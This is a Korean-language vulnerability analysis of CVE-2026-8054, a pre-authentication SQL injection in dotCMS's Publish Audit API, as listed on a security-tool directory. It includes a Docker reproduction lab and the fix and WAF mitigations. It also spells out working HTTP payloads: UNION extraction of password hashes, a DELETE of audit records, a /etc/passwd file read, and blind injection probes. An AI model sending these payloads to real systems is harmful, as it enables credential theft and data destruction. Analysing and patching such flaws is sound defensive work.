Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8054 — dotCMS 인증 전 SQL 인젝션 | Kitploit
도구/GitHubGitHub/mr-xn/cve-2026-8054
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS 인증 전 SQL 인젝션

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
웹사이트
공유

1. 취약점 개요

CVE-2026-8054는 dotCMS Core의 퍼블리시 감사 API(Publish Audit API)에 존재하는 고위험 인증 불필요 SQL 인젝션 취약점(Pre-auth SQL Injection)입니다. 이 취약점은 공식적으로 보안 이벤트 SI-75로 추적되었으며, 2026년 5월 말에 공식적으로 등록 및 공개되었습니다. 공격자가 별도의 계정 권한 없이 원격으로 트리거할 수 있기 때문에 잠재적 피해가 매우 심각합니다.

도구 다운로드
속성값
CVE 번호CVE-2026-8054
공식 추적SI-75
취약점 유형SQL 인젝션 (CWE-89)
영향 컴포넌트dotCMS Core - Publish Audit API
CVSS 점수10.0 (Critical)
영향 받는 버전25.11.04-1 ~ 26.04.28-02
수정 버전26.04.28-03
공격 방식원격 비인증 SQL 인젝션 (Pre-auth)
필요 권한인증 불필요
사용자 상호작용없음
LTS 버전 영향영향 없음 (감사 코드 브랜치가 LTS 트리에 백포트되지 않음)

2. 취약점 원리 상세

2.1 취약점 본질

취약점은 /api/auditPublishing/get 및 /api/auditPublishing/getAll 두 REST 엔드포인트에 존재합니다. 이 엔드포인트들은 클라이언트가 입력한 요청 파라미터를 받을 때 필터링이나 파라미터 바인딩 없이, 문자열 연결을 통해 동적으로 SQL 쿼리문을 구성합니다.

더 치명적인 점은 dotCMS가 감사와 관련된 이러한 민감한 백엔드 엔드포인트에 인증 및 권한 상승 검사를 완전히 누락했다는 것입니다. 이는 외부 네트워크의 자격 증명이 없는 원격 공격자가 시스템에 접근하기만 하면 해당 엔드포인트에 악성 Payload가 포함된 HTTP 요청을 직접 보낼 수 있음을 의미합니다.

2.2 취약점 진입점

파일 경로: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

취약점은 두 개의 REST API 엔드포인트에 존재합니다:

  • GET /api/auditPublishing/get/{bundleId} - 단일 퍼블리시 감사 상태 조회
  • POST /api/auditPublishing/getAll - 복수 퍼블리시 감사 상태 조회

핵심 문제: 수정 전 이 두 엔드포인트는 어떤 인증도 필요하지 않으며, 모든 익명 사용자가 직접 접근할 수 있습니다.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【취약점】인증 검사 없음! 바로 백엔드 API 호출
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 취약점 핵심 코드

파일 경로: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

메서드: getPublishAuditStatuses(List<String> bundleIds) (224~245행)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【취약점 1】사용자 입력을 SQL 문에 직접 연결
        // 단일 따옴표로 감싸기만 하고, 파라미터화나 이스케이프 처리 없음
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 위험: 문자열 연결
            .collect(Collectors.toList());

        // 【취약점 2】String.format을 사용하여 SQL 구성, 사용자 입력이 직접 삽입됨
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL 상수 (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 오염 전파 경로

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

오염 전파: 사용자 입력 → REST API → 백엔드 처리 → SQL 구성 → 데이터베이스 실행 핵심 결함: 인증 없음 + 파라미터화 없음 = 완전히 제어 가능한 SQL 인젝션

2.5 SQL 인젝션 원리 분석

사용자 입력이 bundleIds = ["x' OR '1'='1"] 라고 가정합니다.

정상 SQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

인젝션 후 SQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

'1'='1'은 항상 참이므로 이 쿼리는 테이블의 모든 레코드를 반환합니다.

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. 영향 및 피해 분석

이 취약점을 성공적으로 악용한 공격자는 데이터베이스 시스템 사용자의 컨텍스트에서 임의의 SQL 명령을 실행할 수 있어 다음과 같은 심각한 결과를 초래합니다:

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 민감 데이터 유출

공격자는 SQL 인젝션을 통해 핵심 데이터베이스 테이블을 추출하여 다음 정보를 획득할 수 있습니다:

  • 관리자 비밀번호 해시
  • 사용자 자격 증명 정보
  • 재설정 토큰
  • 시스템 구성 정보
  • 웹 사이트 콘텐츠 데이터

공격 Payload 예시 – 관리자 비밀번호 획득:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 데이터 변조 및 파괴

공격자는 데이터베이스 내에서 다음 항목을 임의로 수정, 삽입 또는 삭제할 수 있습니다:

  • 웹 사이트 콘텐츠
  • 사용자 역할 권한
  • 시스템 구성
  • 감사 로그

공격 Payload 예시 – 감사 레코드 삭제:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 권한 상승 및 원격 코드 실행

백엔드가 연결된 데이터베이스 유형(PostgreSQL, MySQL 등) 및 구성 권한에 따라 공격자는 인젝션 포인트를 통해 다음 단계로 나아갈 수 있습니다:

  • 백엔드 관리자 계정 탈취
  • 파일 시스템 읽기/쓰기 (데이터베이스 함수를 통해)
  • 원격 코드 실행 (RCE)

공격 Payload 예시 – PostgreSQL 파일 읽기:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 공격 표면 분석

차원평가
공격 벡터네트워크 원격 (Network)
공격 복잡도낮음 (Low)
사전 조건없음 (None)
사용자 상호작용없음 (None)
영향 범위변경됨 (Changed)
기밀성 영향높음 (High)
무결성 영향높음 (High)
가용성 영향높음 (High)

4. 취약점 재현 단계

4.1 환경 구성

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Docker Compose를 사용하여 취약점 환경 구성:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

시작 명령어:

root@kitploit:~
docker compose up -d
# dotCMS 초기화 완료 대기 (약 2~3분)
# 상태 확인: docker compose logs -f dotcms

4.2 취약점 검증

테스트 1: 엔드포인트 인증 불필요 확인

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

응답: 200 OK, 빈 배열 [] 반환 → 엔드포인트가 인증 없이 접근 가능함을 증명.

테스트 2: SQL 인젝션 - 불리언 블라인드 ✅ 검증 완료

불리언 블라인드 원리: HTTP 응답 상태 코드의 차이를 관찰하여 인젝션 조건의 참/거짓을 판단.

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

참 조건 테스트 (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

응답: 404 Not Found

거짓 조건 테스트 (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

응답: 200 OK, [] 반환

SQL 실행 분석:

root@kitploit:~
-- 참 조건: bundle_id 일치 AND 1=1이 참 -> 데이터 반환 -> 코드 NPE 처리 -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- 거짓 조건: bundle_id 일치하지만 1=2가 거짓 -> 데이터 미반환 -> 빈 결과 정상 처리 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

응답 차이 원리:

조건SQL 결과코드 동작HTTP 응답
and 1=1 (참)일치 레코드 반환turnIntoPublishAuditStatus() 처리 시 NullPointerException404
and 1=2 (거짓)레코드 미반환빈 리스트 정상 반환200 + []

결론: 404/200 응답 차이를 통해 공격자는 데이터베이스의 임의 정보(테이블명, 필드값, 비밀번호 해시 등)를 비트 단위로 추론할 수 있습니다.

테스트 3: SQL 인젝션 - 시간 블라인드 ✅ 검증 완료

시간 블라인드 원리: 응답 시간의 차이를 관찰하여 인젝션 조건의 참/거짓을 판단.

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

3초 지연 테스트:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

응답: 200 OK, 소요 시간 3.02초

5초 지연 테스트:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

응답: 200 OK, 소요 시간 5.01초

SQL 실행 분석:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

응답 시간 비교:

Payload예상 지연실제 소요 시간결과
정상 요청0초0.03초✅
pg_sleep(3)3초3.02초✅ 지연 성공
pg_sleep(5)5초5.01초✅ 지연 성공

결론: 응답 지연을 제어함으로써 공격자는 응답이 없는 환경에서도 데이터베이스 정보를 비트 단위로 추론할 수 있습니다.


5. 수정 방안 분석

5.1 PR #35553 수정 내용

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

수정 1: 파라미터화된 쿼리

수정 전 (취약 코드):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

수정 후 (안전 코드):

root@kitploit:~
// 추가: null 검사
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// 파라미터화된 쿼리 플레이스홀더 사용
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // 파라미터 바인딩, SQL 인젝션 방지

수정 2: 인증 강화

수정 전:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // 인증 검사 없음
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

수정 후:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // 추가: Push Publish Token 인증 검사
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 401 Unauthorized 반환
    }
    // ...
}

5.2 수정 원리

수정 조치설명
파라미터화된 쿼리? 플레이스홀더로 문자열 연결을 대체, 데이터베이스가 파라미터 이스케이프를 자동 처리하여 SQL 인젝션을 근본적으로 방지
인증 강화요청에 유효한 Push Publish Token을 요구, publishing-queue 컴포넌트 권한이 있는 로그인한 백엔드 사용자만 접근 가능하도록 제한
입력 검증null 및 빈 리스트 검사 추가로 NullPointerException 방지

5.3 영향 버전 설명

  • 영향 받는 버전: dotCMS Core 25.11.04-1 ~ 26.04.28-02 사이의 모든 애자일/빠른 반복 버전
  • 영향 받지 않는 버전: LTS(장기 지원) 버전은 영향 없음. 취약한 감사 코드 브랜치가 LTS 트리에 백포트(Backported)된 적이 없기 때문

6. 임시 완화 및 보호 권장 사항

수정 버전으로 즉시 업그레이드할 수 없는 경우 다음과 같은 임시 완화 조치를 취할 수 있습니다:

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[WAF规则拦截<br/>阻止/api/auditPublishing/]
            B[防火墙限制<br/>仅允许内网访问]
        end

        subgraph 应用层
            C[Nginx防护规则<br/>location拦截]
            D[ModSecurity规则<br/>SQL注入检测]
        end

        subgraph 数据层
            E[数据库权限限制<br/>最小权限原则]
            F[限制高危函数<br/>pg_read_file等]
        end

        G[升级到26.04.28-03<br/>根本解决方案]
    end

    A -.->|临时替代| G
    B -.->|临时替代| G
    C -.->|临时替代| G
    E -.->|降低影响| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]

6.1 WAF 규칙 차단

웹 애플리케이션 방화벽(WAF) 또는 리버스 프록시에서 액세스 제어 정책을 구성하여 외부 네트워크에서 /api/auditPublishing/get 및 /api/auditPublishing/getAll 경로로의 요청을 직접 차단 또는 거부합니다.

Nginx 보호 규칙 구성 예시

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Publish Audit API 요청 차단
location ~ ^/api/auditPublishing/(get|getAll) {
    # 403 금지 반환
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# 또는 더 완화된 방식으로, 내부 네트워크만 허용
location ~ ^/api/auditPublishing/(get|getAll) {
    # 내부 IP 대역 허용
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # 기타 모든 출처 거부
    deny all;
}

# SQL 인젝션 특징에 대한 WAF 규칙
location / {
    # 일반적인 SQL 인젝션 특징 탐지
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # 작은따옴표 인젝션 탐지
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

ModSecurity WAF 규칙 예시

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# 규칙 1: 취약 엔드포인트 접근 차단
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# 규칙 2: SQL 인젝션 특징 탐지
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 데이터베이스 권한 제한

dotCMS가 데이터베이스에 연결하는 계정이 최소 권한 원칙을 따르도록 확인:

root@kitploit:~
-- PostgreSQL 권한 제한 예시
-- 제한된 사용자 생성
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- 필요한 테이블 권한만 부여
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- 테이블 생성/삭제 금지
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- 시스템 명령 실행 금지
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- 파일 읽기 금지
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 네트워크 계층 보호

root@kitploit:~
# iptables를 사용하여 API 포트 접근 제한
# 내부 네트워크만 8080 포트 허용
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. 요약

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 취약점 근본 원인

  1. 입력 검증 부족: 사용자 입력을 SQL 문에 직접 연결, 필터링 또는 이스케이프 없음
  2. 인증 부족: API 엔드포인트가 인증 없이 접근 가능, 민감한 백엔드 기능 노출
  3. 파라미터화 부족: 파라미터화된 쿼리 대신 문자열 연결 사용, 안전한 코딩 모범 사례 위반

7.2 공격 표면 평가

  • 공격 벡터: 네트워크 원격 (Network)
  • 공격 복잡도: 낮음 (Low)
  • 사전 조건: 없음 (None)
  • 사용자 상호작용: 없음 (None)
  • CVSS 점수: 10.0 (Critical)

7.3 수정 권장 사항 우선순위

우선순위조치설명
P0 - 즉시dotCMS 26.04.28-03 이상 버전으로 업그레이드공식 수정 버전, 근본 문제 해결
P1 - 긴급WAF 규칙 구성하여 차단임시 완화 조치, 공격 트래픽 차단
P2 - 중요데이터베이스 권한 제한취약점 악용 시 영향 범위 축소
P3 - 권장다른 엔드포인트 보안 감사유사 문제 존재 여부 확인

7.4 LTS 버전 설명

공식적으로 LTS(장기 지원) 버전은 영향 없음이라고 밝혔습니다. 취약한 감사 코드 브랜치가 LTS 트리에 백포트된 적이 없기 때문입니다. LTS 버전을 사용하는 사용자는 긴급 업그레이드가 필요하지 않습니다.


8. 참고 자료

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

보고서 생성 시간: 2026-06-08 분석 도구: Docker, curl, PostgreSQL 취약점 버전: dotCMS 25.11.04-1 수정 버전: dotCMS 26.04.28-03 (PR #35553)